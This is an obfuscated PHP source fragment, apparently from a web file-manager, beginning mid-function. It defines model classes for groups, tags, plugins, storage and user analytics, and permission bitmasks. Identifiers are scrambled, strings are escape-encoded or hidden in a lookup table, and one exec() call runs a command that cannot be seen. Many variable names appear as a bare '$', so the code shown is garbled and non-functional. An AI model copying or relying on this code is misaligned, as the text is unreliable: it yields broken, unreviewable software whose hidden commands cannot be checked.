(count($) == 0) { return $; } if ($ļگ && count($) == 1) { return $; } if (!$[$[548]] || !isset($[$[548]][$[2062]]) || $[$[548]][$[2062]] == $[860]) { return $this->groupShowRoot($[count($) - 1], $ļگ); } if ($[$[548]][$[2062]] == $[442]) { $ = explode($[50], $[$[548]][$[2063]]); if ($) { $ = array_merge($, $); } } return $; } protected function resetParentLevel() { $Ё =& $_SERVER[՟]; $ = $Ё[1972]; $ҝɡ = $this->select(); $ҝɡ = array_to_keyvalue($ҝɡ, $); foreach ($ҝɡ as $) { $ = $; $ܺ = array(); while ($[$Ё[202]] != 0) { $ܺ[] = $[$Ё[202]]; $ = $ҝɡ[$[$Ё[202]]]; } $ܺ[] = 0; $ܺ = $Ё[50] . implode($Ё[50], array_reverse($ܺ)) . $Ё[50]; $this->setNamePinyin($[$], $[$Ё[32]]); $this->where(array($ => $[$]))->save(array($Ё[661] => $ܺ)); } return $ҝɡ; } public function groupNameAuto($ʷ®, $) { $ڄ =& $_SERVER[՟]; $Ώ = $this->where(array($ڄ[486] => $ʷ®))->getField($ڄ[32], !0); if (!$Ώ || !in_array($, $Ώ)) { return $; } for ($ = 1; $ <= count($Ώ) + 1; $++) { $湹 = $ . "\50{$}\51"; if (!in_array($湹, $Ώ)) { return $湹; } } } public function groupSwitch($ᦁ, $) { $완 =& $_SERVER[՟]; $핿 = array($완[1972] => array($완[7], array($ᦁ, $))); $ᷢ = $this->where($핿)->select(); $ᷢ = array_to_keyvalue($ᷢ, $완[1972]); if (!isset($ᷢ[$ᦁ]) || !isset($ᷢ[$]) || $ᷢ[$ᦁ][$완[202]] == 0) { return !1; } $핿 = array($완[1972] => $ᦁ); $߲ń = Model($완[2066])->where($핿)->select(); if (!$߲ń) { $߲ń = array(); } foreach ($߲ń as $ȴ) { $ = $ȴ[$완[1773]]; $핿 = array($완[1773] => $, $완[1972] => $); $÷ԏ = Model($완[2066])->where($핿)->find(); if (!$÷ԏ) { $ = array($ => $ȴ[$완[2080]]); Model($완[607])->userGroupAdd($, $); } Model($완[607])->userGroupRemove($, $ᦁ); } $핿 = array($완[200] => 2, $완[202] => 0, $완[494] => 1, $완[578] => array($완[7], array($ᦁ, $))); $ = Model($완[908])->where($핿)->field($완[2081])->select(); $ = array_to_keyvalue($, $완[578], $완[203]); $ែ = !empty($[$ᦁ]) ? $[$ᦁ] : !1; if ($ែ) { if (!$[$]) { $[$] = Model($완[908])->groupRootAdd($); } $ = $[$]; $핿 = array($완[202] => $ែ); $ = Model($완[908])->where($핿)->field($완[2082])->select(); if (!$) { $ = array(); } Model($완[908])->moveClearAuth = !1; foreach ($ as $) { $ = $[$완[494]] == $완[101] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($완[908])->move($[$완[203]], $, $); } Model($완[908])->moveClearAuth = !0; $핿 = array($완[200] => 2, $완[578] => $ᦁ); $ = array($완[578] => $); Model($완[2083])->where($핿)->save($); Model($완[2084])->where($핿)->save($); } $this->_changeChildLevel($ᷢ[$ᦁ], $ᷢ[$], !0); $this->where(array($완[202] => $ᦁ))->save(array($완[202] => $)); $this->_clearChildrenCache($ᷢ[$]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\145\x72\x5f\146\x61\166"; protected function cacheFunctionAlias($) { $μ =& $_SERVER[՟]; return array($μ[2085] => array($[0], $μ[2086]), $μ[2087] => array($[0], $μ[2088])); } protected function get($ԧ) { $˧ =& $_SERVER[՟]; $ = Model($˧[594])->metaGet($ԧ, $˧[2089]); $ = json_decode($, !0); return $ ? $ : array($˧[2090] => $˧[101], $˧[454] => array()); } protected function set($, $ُ) { $ߎ =& $_SERVER[՟]; $ُ = $ُ ? $ُ : array($ߎ[2090] => $ߎ[101], $ߎ[454] => array()); return Model($ߎ[594])->metaSet($, $ߎ[2089], json_encode($ُ)); } protected function getByTagID($߁, $ƪ) { $ =& $_SERVER[՟]; if (!$߁ || !$ƪ) { return !1; } if (!Model($[594])->getInfoSimple($߁)) { return !1; } $ = $this->get($߁); if (!$ || !isset($[$[454]])) { return !1; } $ = array_find_by_field($[$[454]], $[484], $ƪ); return is_array($) ? $ : !1; } public function listSource($ػ, $ڱ⸕) { $ =& $_SERVER[՟]; if ($ڱ⸕ && !is_array($ڱ⸕)) { $ڱ⸕ = array($ڱ⸕); } $߾ = $this->listData($ػ); $ = array(); foreach ($߾ as $) { $ƌ = $[$[97]]; if (!$ƌ) { continue; } if (!isset($[$ƌ])) { $[$ƌ] = array(); } $[$ƌ][] = $[$[509]]; } $ʿ = array(); foreach ($ as $ => $) { $ = !0; if (!$ڱ⸕) { $ʿ[] = $; continue; } foreach ($ڱ⸕ as $) { if (!in_array($, $)) { $ = !1; break; } } if ($) { $ʿ[] = $; } } if (!$ʿ) { return array(); } $ = array($[500] => array($[501], $ʿ), $[578] => $ػ, $[200] => SourceModel::TYPE_GROUP); $Ņ = Model($[1421])->listSource($); if (!$Ņ || count($ʿ) == $Ņ[$[451]][$[452]]) { return $Ņ; } $ = array(); $ = array_to_keyvalue($Ņ[$[95]], $[12], $[203]); $Ę = array_to_keyvalue($Ņ[$[96]], $[12], $[203]); $ = array_merge($Ę, $); foreach ($ʿ as $ƌ) { if (!in_array($ƌ, $)) { $[] = $ƌ; } } if ($) { $this->removeBySource($ػ, $); } return $Ņ; } protected function listData($) { $ =& $_SERVER[՟]; $玟 = array($[1764] => 0, $[566] => array($[2091], 0), $[505] => $[2092] . $); $Ԕ = $[2093]; $ = $this->field($Ԕ)->where($玟)->order($[2094])->select(); return $ ? $ : array(); } protected function addToTag($, $āџ, $) { $ =& $_SERVER[՟]; if (!$this->getByTagID($, $) || !$āџ) { return !1; } if (!Model($[908])->pathInfo($āџ)) { return !1; } $ = array($[1764] => 0, $[566] => $, $[504] => $āџ, $[505] => $[2095] . $, $[503] => $[12], $[1976] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $, $) { $ =& $_SERVER[՟]; if (!$this->getByTagID($, $) || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1764] => 0, $[566] => $, $[505] => $[2095] . $, $[504] => $); return $this->where($)->delete(); } protected function removeByTag($ҳ, $Ղ) { $ə =& $_SERVER[՟]; if (!$this->getByTagID($ҳ, $Ղ)) { return !1; } $ = array($ə[1764] => 0, $ə[566] => $Ղ, $ə[505] => $ə[2095] . $ҳ); return $this->where($)->delete(); } protected function removeBySource($߯, $ޗԥ) { $ˋ =& $_SERVER[՟]; if (!$߯ || !$ޗԥ) { return !1; } if (is_array($ޗԥ)) { $ޗԥ = array($ˋ[7], $ޗԥ); } $ܞ = array($ˋ[1764] => 0, $ˋ[504] => $ޗԥ, $ˋ[566] => array($ˋ[1095], 0), $ˋ[505] => $ˋ[2095] . $߯); return $this->where($ܞ)->delete(); } } class PluginModel extends ModelBaseLight { public $optionType = "\x53\171\163\164\x65\x6d\56\x70\x6c\x75\x67\151\156\x4c\x69\163\x74"; public $field = array("\x6e\x61\155\x65", "\x73\x74\x61\164\x75\x73", "\x72\x65\147\151\x65\163\164", "\143\157\x6e\146\x69\x67"); public function loadList($ = false) { $ҟ = array_to_keyvalue($this->listData(), $_SERVER[՟][32]); if ($) { return $ҟ[$]; } return $ҟ; } public function init() { $ć =& $_SERVER[՟]; Hook::trigger($ć[2096]); $ = $this->loadPluginList(); foreach ($ as $ => $ߡ) { $Ր = $this->appAllow($, $ߡ); if (!$Ր) { continue; } foreach ($ߡ[$ć[2097]] as $ => $) { Hook::bind($, $); } } Hook::trigger($ć[2098]); Hook::trigger(ACTION); } public function appAllow($ᚰ, $ކԒ, $ԏժ = true) { $ =& $_SERVER[՟]; $۪ = PLUGIN_DIR . $ᚰ . $[2099]; if (!is_array($ކԒ) || !is_array($ކԒ[$[2097]]) || $ކԒ[$[834]] != 1 || !is_file($۪)) { return !1; } if (KodUser::isRoot()) { if ($GLOBALS[$[6]][$[2100]] || !$GLOBALS[$[6]][$[2101]]) { return !0; } $ = explode($[50], strtolower($GLOBALS[$[6]][$[2101]])); return in_array(strtolower($ᚰ), $) ? !1 : !0; } if ($ԏժ && !Action($[2102])->checkAuth($ᚰ)) { return !1; } return !0; } public function unInstall($Ղ) { $ =& $_SERVER[՟]; $ = $this->loadList($Ղ); if (file_exists(PLUGIN_DIR . $Ղ)) { Hook::apply($Ղ . $[2103]); } $this->remove($[$[484]]); } public function changeStatus($ͤ, $) { $͚ =& $_SERVER[՟]; $ = $this->loadList($ͤ); if ($) { Hook::apply($ͤ . $͚[2104]); } $this->update($[$͚[484]], array($͚[2105] => $)); } public function appRegist($Ё, $) { $՚Đ =& $_SERVER[՟]; $ҭƛ = $this->loadList($Ё); if ($ҭƛ) { $this->update($ҭƛ[$՚Đ[484]], array($՚Đ[2097] => $)); } else { $ = array($՚Đ[32] => $Ё, $՚Đ[2097] => $, $՚Đ[834] => 0, $՚Đ[6] => $this->getConfigDefault($Ё)); $this->insert($); } } public function getConfigDefault($ʢ) { $ܲ =& $_SERVER[՟]; $ = array(); $܀ = $this->getPackageJson($ʢ); if (!$܀ && is_array($܀[$ܲ[2106]])) { return $; } foreach ($܀[$ܲ[2106]] as $â => $) { if (!isset($[$ܲ[459]]) || isset($[$â])) { continue; } $[$â] = $[$ܲ[459]]; } return $; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[՟][2107]); } public function getConfig($Щ, $ = false) { $닣 =& $_SERVER[՟]; $˳ = array(); $ڨ = $this->loadList($Щ); if ($ڨ && is_array($ڨ[$닣[6]])) { $˳ = $ڨ[$닣[6]]; } if (!$˳ || $) { $˳ = $this->getConfigDefault($Щ); } return $˳; } public function setConfig($㫣, $ = false) { $û =& $_SERVER[՟]; $į = $this->loadList($㫣); if (!$į) { return !1; } $ = $į[$û[6]]; if ($ == !1) { $ = array(); $ = $this->getConfigDefault($㫣); } foreach ($ as $ȅ => $) { $[$ȅ] = is_string($) ? trim($) : $; } $this->update($į[$û[484]], array($û[6] => $)); } public function viewList() { $ܐհ =& $_SERVER[՟]; $ = $this->loadList(); $this->pluginScan($); $ = $this->loadPluginList(); $ѵ = array(); foreach ($ as $г => $ƾ) { $˟ = $ƾ; unset($ƾ[$ܐհ[2097]], $ƾ[$ܐհ[6]]); $Е = PLUGIN_DIR . $ƾ[$ܐհ[32]] . $ܐհ[2099]; if (!is_file($Е)) { continue; } $ = Hook::apply($ƾ[$ܐհ[32]] . $ܐհ[2107]); if (!is_array($)) { continue; } $ѵ[$г] = array_merge($ƾ, $); if ($˟[$ܐհ[6]][$ܐհ[1687]] != $[$ܐհ[1661]]) { Hook::apply($ƾ[$ܐհ[32]] . $ܐհ[2104]); $˟[$ܐհ[6]][$ܐհ[1687]] = $[$ܐհ[1661]]; $this->update($ƾ[$ܐհ[484]], array($ܐհ[6] => $˟[$ܐհ[6]])); } } return $ѵ; } private function loadPluginList() { $ =& $_SERVER[՟]; $ = $this->loadList(); if (strtolower(MOD) == $[2108]) { return $; } $椹 = Hook::trigger($[2109], $); if ($ && !$椹) { die; } return $椹 ? $椹 : $; } private function pluginScan($ܔ) { $ =& $_SERVER[՟]; recursion_dir(PLUGIN_DIR, $Ϫ, $, 0); foreach ($Ϫ as $) { $ލ = get_path_this($); if (isset($ܔ[$ލ]) || !file_exists($ . $[2110]) || !file_exists($ . $[2099])) { continue; } Hook::apply($ލ . $[2104]); } } } goto a; cڱ: class AnalysisModel extends ModelBaseLight { public function init($Ԋ) { $ =& $_SERVER[՟]; $ꗜ = array($[671] => array($[33] => $[1900], $[359] => array($[265], $[849], $[1901], $[1902])), $[1903] => array($[33] => $[1904], $[359] => array($[265], $[847], $[1905], $[1906], $[1907]))); if (!isset($ꗜ[$Ԋ])) { return !1; } $this->optionType = $ꗜ[$Ԋ][$[33]]; $this->field = $ꗜ[$Ԋ][$[359]]; return !0; } public function listData($ݨ = false, $ = "\155\x6f\144\151\146\x79\124\151\155\145", $ = false) { return parent::listData($ݨ, $, $); } public function trendList($ĀО) { $ =& $_SERVER[՟]; $ޒ = $this->listData(); if ($ޒ) { $ܸ = end($ޒ); $ = date($[1908], strtotime($[1909])); if ($ܸ[$[265]] == $) { return $ޒ; } $튡 = strtotime($ܸ[$[265]]); } if (!isset($튡)) { $ۖ = $ĀО == $[671] ? $[607] : $[908]; $튡 = Model($ۖ)->min($[241]); } $ = $[1910] . ucfirst($ĀО); $Ŋ = $this->dateList($튡); foreach ($Ŋ as $) { $this->{$}($); } return $this->listData(); } private function dateList($) { $ =& $_SERVER[՟]; $ = $; $칉 = strtotime($[1909]); $温 = array(); while ($ <= $칉) { $温[] = date($[1908], $); $ = strtotime($[1911], $); } return $温; } public function _recordUser($¯ = '') { $ڶ =& $_SERVER[՟]; $Ǚ = strtotime(date($ڶ[1912], strtotime($¯))); $͑ = strtotime(date($ڶ[1913], strtotime($¯))); $ = array($ڶ[241] => array($ڶ[1094], $͑)); $Ë܈ = Model($ڶ[607])->where($)->count($ڶ[1773]); $[$ڶ[241]] = array($ڶ[418], array($Ǚ, $͑)); $ڶ = Model($ڶ[607])->where($)->count($ڶ[1773]); $[$ڶ[33]] = $ڶ[1914]; $ހ = Model($ڶ[1915])->where($)->count($ڶ[1916]); $ = array($ڶ[265] => $¯, $ڶ[849] => (int) $Ë܈, $ڶ[1901] => (int) $ڶ, $ڶ[1902] => (int) $ހ); return $this->insert($); } public function _recordStore($ = '') { $ꣿ =& $_SERVER[՟]; $ϋܶ = strtotime(date($ꣿ[1913], strtotime($))); $Ф = array($ꣿ[241] => array($ꣿ[1094], $ϋܶ)); $ژ = Model($ꣿ[553])->where($Ф)->sum($ꣿ[89]); $Ф[$ꣿ[494]] = 0; $ = Model($ꣿ[908])->where($Ф)->sum($ꣿ[89]); $Ф[$ꣿ[200]] = 1; $䗔 = Model($ꣿ[908])->where($Ф)->sum($ꣿ[89]); $Ф[$ꣿ[200]] = 2; $ = Model($ꣿ[908])->where($Ф)->sum($ꣿ[89]); $Ǣ = array($ꣿ[265] => $, $ꣿ[847] => (int) $, $ꣿ[1905] => (int) $ژ, $ꣿ[1906] => (int) $䗔, $ꣿ[1907] => (int) $); return $this->insert($Ǣ); } public function trend($, $å) { $ =& $_SERVER[՟]; if (!$this->init($)) { return !1; } $Σ = $this->trendList($); if ($Σ && $å != $[1746]) { $ѐ = $Σ[0][$[265]]; $ = $this->validDate($å, $ѐ); $ = array(); $ = array_to_keyvalue($Σ, $[265]); foreach ($ as $،) { if (isset($[$،])) { $ = $[$،]; } else { $ = end($Σ); $[$[265]] = $،; if ($ == $[671]) { $[$[1901]] = $[$[1902]] = 0; } } $[] = $; } $Σ = $; } $ = array($[671] => array($[849] => LNG($[1917]), $[1901] => LNG($[1918]), $[1902] => LNG($[1919])), $[1903] => array($[847] => LNG($[1920]), $[1905] => LNG($[1921]), $[1906] => LNG($[1922]), $[1907] => LNG($[1923]))); $ = array($[671] => $[1924], $[1903] => $[89]); if (empty($Σ)) { $، = date($[1908], strtotime($[1909])); $ = array($[265] => $،); foreach ($[$] as $ => $ӻ) { $[$] = 0; } $Σ[] = $; } $ = array(); foreach ($Σ as $ӻ) { if ($ == $[1903] && $ӻ[$[1905]] > $ӻ[$[847]]) { $ӻ[$[1905]] = $ӻ[$[847]]; } foreach ($[$] as $ => $٨) { $ = array($[265] => $ӻ[$[265]], $[1662] => $٨); $[$[$]] = isset($ӻ[$]) ? $ӻ[$] : 0; $[] = $; } } return $; } public function validDate($ә, $˨) { $ =& $_SERVER[՟]; $ = date($[1908], strtotime($[1909])); $Úƛ = array($); switch ($ә) { case $[1753]: $드 = mktime(0, 0, 0, date($[1925]), date($[1452]) - date($[1542]) + 7 - 7, date($[1926])); $ = 0; do { $̭ = date($[1908], $드 - 3600 * 24 * 7 * $); $Úƛ[] = $̭; $++; } while ($˨ < $̭); break; case $[1751]: $ = 1; do { $Ϟښ = date($[1927], strtotime("\55\40{$}\40\x6d\157\x6e\164\x68\163")); $Úƛ[] = $Ϟښ; $++; } while ($˨ < $Ϟښ); break; case $[1928]: $ = (int) date($[1926], strtotime($˨)); $ = (int) date($[1926]); if ($ >= $) { break; } for ($; $ < $; $++) { $Úƛ[] = $ . $[1929]; } break; default: break; } if ($˨ > end($Úƛ)) { array_pop($Úƛ); } sort($Úƛ); return $Úƛ; } public function listTable($ȉ) { $ = ucfirst($ȉ); return Model($)->listData(); } public function option($ٱ) { $ = $_SERVER[՟][1930] . ucfirst($ٱ); return $this->{$}(); } private function optionUser() { $ܢ坪 =& $_SERVER[՟]; $ = Model($ܢ坪[607])->count($ܢ坪[1773]); $ = Model($ܢ坪[607])->where($ܢ坪[1931])->count($ܢ坪[1773]); $ = intval($GLOBALS[$ܢ坪[6]][$ܢ坪[434]][$ܢ坪[1719]]) / 3600; $ܧ = strtotime("\55{$}\x20\150\157\165\162\x73"); $ڔ = strtotime(date($ܢ坪[1912])); if ($ܧ < $ڔ) { $ܧ = $ڔ; } $ׄ = array($ܢ坪[1932] => array($ܢ坪[1095], $ܧ)); $˰ = (int) Model($ܢ坪[607])->where($ׄ)->count($ܢ坪[1773]); if (!$˰) { $˰ = 1; } $ׄ = array($ܢ坪[1932] => array($ܢ坪[1095], $ڔ)); $⑥ = Model($ܢ坪[607])->where($ׄ)->count($ܢ坪[1773]); return array($ܢ坪[842] => (int) $, $ܢ坪[1933] => (int) ($ - $), $ܢ坪[1934] => (int) $, $ܢ坪[1935] => (int) $⑥, $ܢ坪[1936] => $˰); } private function optionFile() { $ =& $_SERVER[՟]; $Ŗ = $this->sourceSize(); $ = $Ŗ[$[89]]; $ = $Ŗ[$[1905]]; $ = Model($[908])->where(array($[494] => 0))->count($[203]); $ = array($[494] => 0, $[241] => array($[1095], strtotime(date($[1912])))); $րޔ = Model($[908])->where($)->sum($[89]); $ڎ = Model($[908])->where($)->count($[203]); return array($[847] => $, $[1905] => $, $[1937] => $ - $, $[1938] => (int) $րޔ, $[849] => (int) $, $[1939] => (int) $ڎ); } private function optionAccess() { $ۦ =& $_SERVER[՟]; return array($ۦ[842] => $this->typeLogCnt(), $ۦ[120] => $this->typeLogCnt($ۦ[120]), $ۦ[534] => $this->typeLogCnt($ۦ[534]), $ۦ[1940] => $this->typeLogCnt($ۦ[1940]), $ۦ[1941] => $this->typeLogCnt($ۦ[1941]), $ۦ[671] => $this->typeLogCnt($ۦ[12], $ۦ[1916])); } private function typeLogCnt($ = '', $ = "\x69\144") { $ƪ߀ =& $_SERVER[՟]; $Ԁ = array($ƪ߀[120] => array($ƪ߀[1942], $ƪ߀[1943]), $ƪ߀[534] => array($ƪ߀[1944], $ƪ߀[1945]), $ƪ߀[1940] => array($ƪ߀[1946], $ƪ߀[1947], $ƪ߀[1948]), $ƪ߀[1941] => array($ƪ߀[1949], $ƪ߀[1950]), $ƪ߀[1951] => array($ƪ߀[1952], $ƪ߀[1953], $ƪ߀[1954])); $ՌÉ = strtotime(date($ƪ߀[1912])); $婭 = array($ƪ߀[241] => array($ƪ߀[1095], $ՌÉ)); if ($) { $婭[$ƪ߀[33]] = array($ƪ߀[7], $Ԁ[$]); } $ = Model($ƪ߀[1915])->where($婭)->count($); return (int) $; } private function optionServer() { $ۗ㱏 =& $_SERVER[՟]; $ = $this->diskDriver(); $ŭ = KodIO::defaultDriver(); $ = array($ۗ㱏[901] => $ŭ[$ۗ㱏[484]]); $ = Model($ۗ㱏[553])->where($)->sum($ۗ㱏[89]); $ = explode($ۗ㱏[53], $_SERVER[$ۗ㱏[157]]); $ߦ = $[0]; $׀ = $GLOBALS[$ۗ㱏[6]][$ۗ㱏[21]]; $ߴ = $׀[$ۗ㱏[1057]]; if ($ߴ == $ۗ㱏[1045]) { $ܑ = explode($ۗ㱏[1371], $׀[$ۗ㱏[1056]]); $ߴ = $ܑ[0]; } if ($ߴ == $ۗ㱏[993] || $ߴ == $ۗ㱏[888]) { $ٶ = Model()->db()->query($ۗ㱏[1955]); $ = $ٶ[0] && isset($ٶ[0][$ۗ㱏[1661]]) ? $ٶ[0][$ۗ㱏[1661]] : 0; $ߴ = $ۗ㱏[1956] . ($ ? $ۗ㱏[8] . $ : $ۗ㱏[12]); } $ұ = $GLOBALS[$ۗ㱏[6]][$ۗ㱏[434]][$ۗ㱏[910]]; return array($ۗ㱏[1957] => $ ? $[$ۗ㱏[1958]] : 0, $ۗ㱏[1959] => $ ? $[$ۗ㱏[1960]] : 0, $ۗ㱏[1961] => (int) $ŭ[$ۗ㱏[1958]] * 1024 * 1024 * 1024, $ۗ㱏[1962] => (int) $, $ۗ㱏[1963] => ucfirst($ߦ), $ۗ㱏[1964] => $ۗ㱏[1965] . PHP_VERSION, $ۗ㱏[1966] => phpBuild64() ? 64 : 32, $ۗ㱏[841] => str_replace($ۗ㱏[1214], $ۗ㱏[1073], $ߴ), $ۗ㱏[434] => ucfirst($ұ), $ۗ㱏[32] => $_SERVER[$ۗ㱏[1967]]); } private function diskDriver() { $ =& $_SERVER[՟]; $ȡ = $[8]; $ = $GLOBALS[$[6]][$[1388]] == $[1389]; if ($) { $ȡ = $[1968]; if (function_exists($[1969])) { exec($[1970], $ȹ); $ȡ = $ȹ[1] . $[8]; } } if (!file_exists($ȡ)) { return; } if (!function_exists($[1971])) { return; } $dz = @disk_total_space($ȡ); $ݎ = $dz - @disk_free_space($ȡ); return array($[1958] => $dz, $[1960] => $ݎ); } public function fileChart($ຬ) { $Տ =& $_SERVER[՟]; if (isset($ຬ[$Տ[1773]])) { return Model($Տ[908])->userFileTypeProfile($ຬ[$Տ[1773]]); } if (isset($ຬ[$Տ[1972]])) { return Model($Տ[908])->groupFileTypeProfile($ຬ[$Տ[1972]]); } $ = $this->sourceSize(); $ = array($Տ[202] => 0, $Տ[200] => 1); $ = Model($Տ[908])->where($)->sum($Տ[89]); $[$Տ[200]] = 2; $碂 = Model($Տ[908])->where($)->sum($Տ[89]); return array($Տ[847] => $[$Տ[89]], $Տ[1905] => $[$Տ[1905]], $Տ[1906] => (int) $, $Տ[1907] => (int) $碂); } private function sourceSize() { $ݢ =& $_SERVER[՟]; $ٕ = Model($ݢ[908])->where(array($ݢ[494] => 0))->sum($ݢ[89]); $ƚ = Model($ݢ[553])->sum($ݢ[89]); if ($ƚ > $ٕ) { $ƚ = $ٕ; } return array($ݢ[89] => (int) $ٕ, $ݢ[1905] => (int) $ƚ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $ =& $_SERVER[՟]; $꒗ = array(array($[503] => LNG($[1973]), $[1974] => $[1975], $[1976] => 1, $[1977] => 1, $[1978] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($[503] => LNG($[1979]), $[1974] => $[1980], $[1976] => 2, $[1977] => 1, $[1978] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($[503] => LNG($[1981]), $[1974] => $[1982], $[1976] => 3, $[1977] => 1, $[1978] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($[503] => LNG($[1983]), $[1974] => $[1984], $[1976] => 4, $[1977] => 1, $[1978] => self::AUTH_SHOW | self::AUTH_VIEW), array($[503] => LNG($[1985]), $[1974] => $[1986], $[1976] => 5, $[1977] => 1, $[1978] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($[503] => LNG($[1987]), $[1974] => $[1988], $[1976] => 6, $[1977] => 1, $[1978] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($[503] => LNG($[1989]), $[1974] => $[1990], $[1976] => 7, $[1977] => 1, $[1978] => 0)); return $꒗; } public static function authCheck($, $Ϩ) { $ԙ =& $_SERVER[՟]; $ = intval($); if (KodUser::isRoot() && $GLOBALS[$ԙ[6]][$ԙ[1991]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $Ϩ); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($❔) { return self::authCheck($❔, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($̝) { return self::authCheck($̝, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($) { return self::authCheck($, self::AUTH_SHARE); } public static function authCheckComment($؆ᗑ) { return self::authCheck($؆ᗑ, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($؞) { return self::authCheck($؞, self::AUTH_ROOT); } public static function authCheckAction($õ, $͒) { $ =& $_SERVER[՟]; $ᙃ = array($[1992] => self::AUTH_VIEW, $[1282] => self::AUTH_DOWNLOAD, $[120] => self::AUTH_UPLOAD, $[1941] => self::AUTH_EDIT, $[1940] => self::AUTH_REMOVE, $[1951] => self::AUTH_SHARE, $[439] => self::AUTH_COMMENT, $[1761] => self::AUTH_EVENT, $[1993] => self::AUTH_ROOT); if (!isset($ᙃ[$͒])) { return; } $ = $ᙃ[$͒]; $õ = intval($õ); if ($õ <= 0) { return !1; } if (($õ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($õ & $); } public static function authDisable($, $ϩ) { if (intval($) <= 0) { return 0; } return intval($) & ~$ϩ; } public $optionType = "\123\x79\163\x74\x65\155\56\x73\x6f\165\x72\143\145\101\165\164\150\x4c\x69\x73\x74"; public $field = array("\x6e\141\x6d\145", "\141\x75\x74\150", "\154\141\142\145\x6c", "\x64\151\163\x70\x6c\x61\171", "\163\171\x73\164\x65\155", "\163\x6f\162\164"); public function initData() { $ȫ = $this->authDefault(); foreach ($ȫ as $) { $this->add($); } } public function findAuth($˜, $ʱ) { $ =& $_SERVER[՟]; $ȍ = parent::listData(); foreach ($ȍ as $) { $ = intval($[$[496]]); if ($ <= 0 || $[$[1994]] == 0) { continue; } if (($ & $˜) != $˜) { continue; } if (($ & $ʱ) != 0) { continue; } return $[$[484]]; } return !1; } public function findAuthReadOnly() { $ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ͪ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($, $ͪ); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[՟]; $ = parent::listData(); $ي = !1; foreach ($ as $ވ) { if ($ވ[$[496]] <= 0 || $ވ[$[1994]] == $[238]) { continue; } if (!$ي) { $ي = $ވ; continue; } if ($ي[$[496]] > $ވ[$[496]]) { $ي = $ވ; } } return $ي ? $ي[$[484]] : $[12]; } public function listData($ܟ = false, $ۛ = "\163\157\x72\x74", $֨ = false) { return parent::listData($ܟ, $ۛ, $֨); } public function update($ڇ, $ǃ) { $ =& $_SERVER[՟]; $ = parent::listData($ڇ); $ = $this->findByName($ǃ[$[32]]); if (!$ || $ && $[$[484]] != $[$[484]]) { return !1; } $this->filterAuth($ǃ[$[496]]); return parent::update($ڇ, $ǃ); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[՟][201]]) { return !1; } return parent::remove($); } public function add($ = array()) { $ܦ =& $_SERVER[՟]; if ($this->findByName($[$ܦ[32]])) { return !1; } $Ցǂ = array($ܦ[32] => $ܦ[12], $ܦ[496] => 1, $ܦ[1995] => $ܦ[1982], $ܦ[1994] => 1, $ܦ[201] => 0, $ܦ[1996] => 0); $ = array_merge($Ցǂ, $); $[$ܦ[1996]] = $this->getSort(); $this->filterAuth($[$ܦ[496]]); return parent::insert($); } private function getSort() { $擰 =& $_SERVER[՟]; $ӟ = parent::listData(); $ = array_to_keyvalue($ӟ, $擰[12], $擰[1996]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { if (!$) { return; } $ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $ = array(); foreach ($ as $) { if ($ & $) { $[] = $; } } if (in_array(self::AUTH_ROOT, $)) { $ = array_sum($); return; } $ʕ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($ as $) { if (isset($ʕ[$])) { $ = array_merge($, $ʕ[$]); } } $[] = self::AUTH_SHOW; $ = array_sum(array_unique($)); } 